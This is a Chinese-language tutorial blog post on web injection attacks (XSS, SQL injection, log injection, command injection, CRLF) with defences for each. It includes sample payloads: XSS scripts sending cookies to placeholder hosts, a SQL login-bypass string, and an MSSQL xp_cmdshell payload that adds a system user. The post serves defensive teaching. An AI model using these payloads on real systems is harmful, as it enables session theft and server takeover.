web安全專題(1)注入攻擊

注入攻擊

對於所有的網絡安全問題,從公司的發文來看,結合目前業界發現的所有對網站的攻擊方式,基本都可以歸類於這三類:

1、防注入;

2、防破解;

3、防範洪;

第一類、注入攻擊是最常見的一種攻擊,涉及的方式也有很多,例如比較常見的有,腳本注入,sql注入,日誌注入,xss等。

第二類、對於破解這一塊,主要是加解密,祕鑰存儲等安全,防破解,防祕鑰盜用,

第三類、範洪攻擊,也就是ddos攻擊,各細分種類也很多,例如cc攻擊,資源耗盡攻擊等等,

這三大類常見的網絡安全問題我將用三期結合公司的安全紅線來進行分享,這一期就將第一類常見的網絡攻擊,注入攻擊,常見的注入攻擊有以下幾類:

  • xss
  • sql注入
  • 日誌注入
  • 命令注入
  • CRLF注入

一、xss

1、本質

xss叫跨站腳本攻擊,爲什麼這裏會分到注入這一模塊呢,因爲xss本質就是html注入,用戶通過輸入一些惡意的腳本代碼,然後該用戶輸入的代碼被網站當做html代碼來執行,混淆了原來的語義,產生新的語義,從而導致了危害的發生。

2、危害

  • 竊取用戶信息,模擬用戶身份執行操作,獲取用戶的 Cookie,獲取敏感數據
  • 植入flash,通過corssdomain權限設置進一步獲取更高權限,
  • 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊者)用戶的身份執行一些管理動作,或執行一些例如發微博,加好友發私信等常規操作
  • 利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的
    投票活動。
  • 在訪問量極大的一些頁面上的XSS可以攻擊一些小型網站,實現DDoS攻擊的效果

3、類型

1、存儲型

惡意腳本被存儲在服務器端,當用戶訪問該網站時,該代碼就會被執行

2、反射性

反射型只是簡單的把用戶的輸入反饋給瀏覽器,讓瀏覽器執行用戶的輸入,當然這個用戶可能輸入一些惡意代碼,或者被黑客誘導輸入惡意代碼

**例如:**將惡意腳本代碼加入URL地址的請求參數裏,請求參數進入程序後在頁面直接輸出,用戶點擊惡意鏈接就可能受到攻擊。

3、DOM型

將腳本代碼加入URL地址的請求參數裏,通過修改頁面的DOM節點來形成XSS,其實和反射型XSS是同一類

4、原理

例如有一個論壇網站,攻擊者可以在上面發佈以下內容:

<script>location.href="//domain.com/?c=" + document.cookie</script>

之後該內容可能會被渲染成以下形式:

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一個用戶瀏覽了含有這個內容的頁面將會跳轉到 domain.com 並攜帶了當前作用域的 Cookie。如果這個論壇網站通過 Cookie 管理用戶登錄狀態,那麼攻擊者就可以通過這個 Cookie 登錄被攻擊者的賬號了。

存儲型XSS

Web應用未對用戶提交請求的數據做充分的檢查過濾,允許用戶在提交的數據中摻入HTML代碼(最主要的是“<”、">")然後存儲到數據庫中,當其他人在訪問該網站,訪問該數據時,例如上個用戶提交了攜帶HTML代碼的評論,其他人在訪問該評論時,網站將未經轉義的惡意代碼輸出到第三方用戶的瀏覽器解釋執行,這就可能導致了XSS攻擊。

反射型XSS

舉個例子:

接下來以反射性XSS舉例說明XSS的過程:現在有一個網站,根據參數輸出用戶的名稱,例如訪問url:
http://127.0.0.1/?name=astaxie,就會在瀏覽器輸出如下信息:
hello astaxie
如果我們傳遞這樣的url:http://127.0.0.1/?name=<script>alert(‘astaxie,xss’)</script>,
這時你就會發現瀏覽器跳出一個彈出框,這說明站點已經存在了XSS漏洞。那麼惡意用戶是如何盜取Cookie的呢?與上類似,如下這樣的url:
http://127.0.0.1/name=<script>document.location.href=‘http://www.xxx.com/cookie?’+document.cookie</script>,這樣就可以把當前的cookie發送到指定的站點:www.xxx.com。你也許會說,這樣的URL一看就有問題,怎麼會有人點擊?,是的,這類的URL會讓人懷疑,但如果使用短網址服務將之縮短,你還看得出來麼?,攻擊者將縮短過後的url通過某些途徑傳播開來,不明真相的用戶一旦點擊了這樣的url,相應cookie數據就會被髮送事先設定好的站點,這樣子就盜得了用戶的cookie信息,然後就可以利用Websleuth之類的工具來檢查是否能盜取那個用戶的賬戶。

DOM型XSS

通過修改頁面的DOM節點形成XSS,稱之爲DOM Based XSS。

5、防範手段

xss防範手段有很多,但對於所有注入攻擊的最底線的防範手段就是輸入校驗,堅決不要相信用戶的任何輸入,並過濾掉輸入中的所有特殊字符。這樣就能消滅絕大部分的XSS攻擊。

1. 設置 Cookie 爲 HttpOnly

設置了 HttpOnly 的 Cookie 可以防止 JavaScript 腳本調用,就無法通過 document.cookie 獲取用戶 Cookie 信息。這個屬性是設置是否可通過客戶端腳本訪問這個設置的cookie,第一這個可以防止這個cookie被XSS讀取從而引起session劫持,第二cookie設置不會像URL重置方式那麼容易獲取sessionID。這樣cookie只能被本地瀏覽器在每次訪問時攜帶,不能被任何js腳本讀取進行使用。

2. 過濾特殊字符

例如將 < 轉義爲 &lt;,將 > 轉義爲 &gt;,從而避免 HTML 和 Jascript 代碼的運行。

富文本編輯器允許用戶輸入 HTML 代碼,就不能簡單地將 < 等字符進行過濾了,極大地提高了 XSS 攻擊的可能性。

富文本編輯器通常採用 XSS filter 來防範 XSS 攻擊,通過定義一些標籤白名單或者黑名單,從而不允許有攻擊性的 HTML 代碼的輸入。

以下例子中,form 和 script 等標籤都被轉義,而 h 和 p 等標籤將會保留。

<h1 id="title">XSS Demo</h1>

<p>123</p>

<form>
  <input type="text" name="q" value="test">
</form>

<pre>hello</pre>

<script type="text/javascript">
alert(/xss/);
</script>
------------------------轉義---------------------------
<h1>XSS Demo</h1>

<p>123</p>

&lt;form&gt;
  &lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;

<pre>hello</pre>

&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;

3. 使用HTTP頭指定類型

w.Header().Set(“Content-Type”,“text/javascript”)
這樣就可以讓瀏覽器解析javascript代碼,而不會是html輸出。

XSS 過濾在線測試](http://jsxss.com/zh/try.html)

小結

諸如 XSS其實就是js注入,還有sql注入等這些漏洞,都是攻擊者構造一些特殊字符,使得產生漏洞被利用,因此對特殊符號的檢查就很必要。輸入檢查的邏輯必須放在服務器端代碼中實現,如果只是在前端用js代碼對輸入進行檢查,很容易被攻擊者繞過。最常見的做法是在前端和後端都做檢查,發現特殊字符就進行過濾或者編碼。

注:

​ 對於XSS攻擊有很多類,比如cookie劫持、修改DOM節點、識別用戶瀏覽器、甚至用戶電腦安裝的軟件、獲取用戶真實IP地址、構建GET,POST請求,利用用戶的身份做些惡意操作等。但這個前提都是網站有XSS漏洞,黑客發現這個漏洞,通過js注入,使得合法用戶在瀏覽器上運行了這段代碼,也就是說要杜絕XSS攻擊,就要保證自己的網站沒有XSS漏洞,沒有js注入的可能性。

二、sql注入

1、概念

sql注入攻擊,簡稱注入攻擊,是web常見的一種安全漏洞。可以用它來從數據庫中獲取敏感信息,或利用數據庫添加用戶,導出文件等一系類的惡意操作。

主要是因爲代碼和數據混合,數據直接嵌入到代碼中,因爲數據往往是用戶輸入。

2、攻擊原理

造成sql注入的原因是因爲程序沒有有效過濾用戶的輸入,使攻擊者成功的向服務器提交惡意的SQL查詢代碼,程序在接收後錯誤的將攻擊者的輸入作爲查詢語句的一部分執行,導致原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意代碼。服務器上的數據庫運行非法的 SQL 語句,主要通過拼接來完成。

舉個例子:

考慮以下簡單的登錄表單:

代碼爲:

<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input

在頁面的表示效果:

Username:

Password:

我們在後臺的處理裏面的SQL可能是這樣的:

username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+""

如果果用戶在上面頁面的輸入框的輸入的用戶名如下,密碼任意

myuser' or 'foo' == 'foo' --
那麼我們的SQL變成了如下所示:

SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'

在SQL裏面–是註釋標記,所以查詢語句會在此中斷。這就讓攻擊者在不知道任何合法用戶名和密碼的情況下成功登錄了。

對於MSSQL還有更加危險的一種SQL注入,就是控制系統,下面這個可怕的例子將演示如何在某些版本的MSSQL數據庫上執行系統命令。

sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
Db.Exec(sql)
如果攻擊提交a%' exec master..xp_cmdshell 'net user test testpass /ADD' --作爲變量prod
值,那麼sql將會變成
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpassMSSQL服務器會執行這條SQL語句,包括它後面那個用於向系統添加新用戶的命令。如果這個程序是以sa運行而
MSSQLSERVER服務又有足夠的權限的話,攻擊者就可以獲得一個系統帳號來訪問主機了。
雖然以上的例子是針對某一特定的數據庫系統的,但是這並不代表不能對其它數據庫系統實施類似的攻擊。針對這
種安全漏洞,只要使用不同方法,各種數據庫都有可能遭殃。

3、危害

  • 獲取服務器權限
  • 植入webshell,獲取服務器後門
  • 讀取服務器敏感文件
  • 萬能密碼

4、防範手段

永遠不要信任外界輸入的數據,特別是來自於用戶的數據,包括選擇框、表單隱藏域和 cookie。

  1. 嚴格限制Web應用的數據庫的操作權限,給此用戶提供僅僅能夠滿足其工作的最低權限,從而最大限度的減少
    注入攻擊對數據庫的危害。
  2. 檢查輸入的數據是否具有所期望的數據格式,嚴格限制變量的類型,例如使用regexp包進行一些匹配處理,
    或者使用strconv包對字符串轉化成其他基本類型的數據進行判斷。
  3. 對進入數據庫的特殊字符(’"\尖括號&*;等)進行轉義處理,或編碼轉換。Go 的text/template包裏面的
    HTMLEscapeString函數可以對字符串進行轉義處理。
  4. 所有的查詢語句建議使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入
    到SQL語句中,即不要直接拼接SQL語句。例如使用database/sql裏面的查詢函數Prepare和Query,或者
    Exec(query string, args …interface{})。
  5. 在應用發佈之前建議使用專業的SQL注入檢測工具進行檢測,以及時修補被發現的SQL注入漏洞。網上有很多
    這方面的開源工具,例如sqlmap、SQLninja等。
  6. 避免網站打印出SQL錯誤信息,比如類型錯誤、字段不匹配等,把代碼裏的SQL語句暴露出來,以防止攻擊者
    利用這些錯誤信息進行SQL注入。

三、日誌注入

1、 概念

日誌注入是用戶通過輸入一些惡意的數據,然後該輸入正好需要被記錄到日誌中,導致日誌格式,信息被破壞

2、危害

在軟件開發,特別是網站類的系統開發時,往往需要記錄一些日誌來做數據分析,問題定和追蹤,但如果日誌被篡改或者被惡意寫入,則給基於日誌信息的問題定位,問題排除,用戶行爲分析等工作帶來非常大的干擾,甚至錯誤的問題導向,危害極大,因此保證日誌的安全也是極爲重要。

3、常見日誌注入

New Line Injection

新行注入,這種方法是最普遍的Log注入方法,用戶的輸入被記錄到日誌,而該輸入又沒有做校驗,因此用戶可以通過在輸入時加上換行符並僞造一個新的記錄,該輸入在被記錄到日誌文件後,很容易被當做正常的日誌處理,而出現日誌僞造,不實信息。

來看下面幾行代碼

func main() {
	writeToLog("張三")
}

func writeToLog(userName string){
	Error.Println("Failed logon for user ", userName)
}

上面的代碼似乎沒有什麼問題,正常情況下,當用戶張三登陸系統失敗時,將記錄日誌如下:

Error: log.go:34: Failed logon for user  張三

假如張三不懷好意,在用戶名一欄裏輸入瞭如下的字符:

張三\nError: log.go:56: Failed to delete all files for 李四\nError: log.go:56: Failed to remove user 李四 for 李四

日誌將會這樣記錄:

Error: log.go:34: Failed logon for user  張三
Error: log.go:56: Failed to delete all files for 李四
Error: log.go:56: Failed to remove user 李四 for 李四

當管理員看到上面的日誌時肯定會想:李四這傢伙,想刪掉所有文件,然後再銷燬證據。當然這裏我們可以根據代碼的函數數字判斷可能是僞造的,但假如管理員沒注意到這個,或者行數就被用戶猜對了呢,這危害還是蠻大的。

Sparator Injection

有些人寫日誌喜歡用一些分隔符來分隔不同的字段,比如用分隔符:|,或者是使用Tab作爲分隔符。比如下面的日誌:

| Customer     | Number     | Operation     |
| 張三          | 100        | 取錢          |
| 李四          | 800        | 存錢          |

當張三輸入的內容爲:

10000    | 存錢    |

則日誌的結果爲:

| Customer     | Number     | Operation     |
| 張三          | 1000       | 存錢           | 取錢    |
| 李四          | 800        | 存錢           |

上面張三的記錄中多出來了一列,很容易被管理員發現。但是假如我們的日誌系統是由程序自動來讀取的話,張三很有可能被認爲存入了1000大鈔。

Timestamp Injection

時間戳注入,一般我們都會記錄每個步驟執行的時間

Abusing Word Wrap

當換行注入被拒絕的時候,還有一種投機的辦法,就是不主動換行,使用一些空格或其他符號,導致文字自動換行。這很容易理解,當然,要真正實施起來並且完美無缺確實是很困難的。比如下面被注入的日誌:

Failed logon for user 張三 __________________(自動換行)
Failed to delete all files for 李四_____________(自動換行)
Failed to remove user 李四 for 李四

這樣的做法可能會覺得很可笑,但確實會很容易迷惑管理員的眼睛。那,有什麼辦法呢?

  1. 假如是在Windows平臺下,使用編輯器打開的話,記得關閉自動換行功能。
  2. 假如在Linux下面呢,在終端顯示內容的話,對日誌內容進行處理,加上一些自動換行的分隔符號,比如:[CR]。(這樣做的話其實也不好,假如用戶輸入的數據原本就包含了[CR]字符,將很難區分用戶輸入的數據和分隔符號。對於這個問題,大家支點招吧!)

HTML Injection

有時我們需要將日誌中的內容展示在一個網頁上,比如我們的監控頁面,就是提取日誌內容,然後進行分析處理再以一個網頁的形式可視化的展示,而操作不當會讓黑客通過網頁的一些攻擊來影響到日誌的內容

<table>
<tr><td>Failed logon for user</td></tr>
<tr><td>Failed to delete all files for 李四</td></tr>< /table><script>alert('hacked!');</script><!--</td></tr>
<tr><td></td></tr>
</table>

4、防範手段

永遠不要信任外界輸入的數據,特別是來自於用戶的數據,對於所有需要記入日誌的外界輸入一律都需要做校驗,如果是前後端分離的網站,前後端都需要做校驗,過濾特殊字符。

四、命令注入

1、概念

利用可以調用系統命令的web應用,通過構造特殊命令字符串的方式,把惡意代碼輸入一個編輯域(例如缺乏有效驗證的輸入框)來改變網頁動態生成的內容,最終實現本應在服務端才能工作的系統命令。

2、危害

一個惡意黑客可以利用這種攻擊方法來非法獲取數據或者網絡資源。

一旦存在命令注入漏洞,攻擊者就可以在目標系統執行任意命令,這通常意味着服務器被拱手讓人。

3、命令注入過程:

1、web應用程序要調用系統命令的函數

2、函數或函數參數可控,是通過前端傳入的

3、然後應用程序通過前端拿到參數進行拼接命令,並執行該命令

4、防範手段

  • 不使用時禁用相應函數
  • 儘量不要執行外部的應用程序或命令
  • 做輸入的格式檢查
  • 轉義命令中的所有shell元字符

五、CRLF注入

CRLF實際是兩個字符,CR是\r,LF是\n。\r\n這兩個字符用於表示換行,其中十六進制分別是0x0d、0x0a。注入CRLF會改變原來的語義這常和日誌注入聯繫在一起,對於CRLF注入比較好處理,只要處理好\n、\r這兩個字符就好了。

總結

注入攻擊有很多類,除了上面描述的幾類,還有注入xml注入,代碼注入等,網站風險也多種多樣,叫法也豐富多彩,比如什麼釣魚啊,webshell植入啊,網頁篡改啊,暗鏈啊等等,雖然種類繁多,這也沒法一一例舉,但本質其實都是通過注入攻擊實現的,如果一個網站沒有被注入的漏洞,這個網站可以說基本就算是比較安全的了,其實大多數黑客都是在嘗試找網站的漏洞,通過注入一些惡意代碼,網站誤執行了這些代碼,導致網站大門向別人敞開,就類型與黑客通過各種手段,向網站植入了一個內奸,然後和內奸裏應外合,逐步奪取大權。

對於所有的注入攻擊,就像上面所有防範手段中都提到的一點,不能相信用戶的任何輸入,對任何有外界輸入的數據都需要做校驗,或者就將其打入冷宮,在源頭上解決問題,在黑客植入內奸的時候就對內奸進行全面的掃描,只要符合自己規範的字符。而不能模糊匹配。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章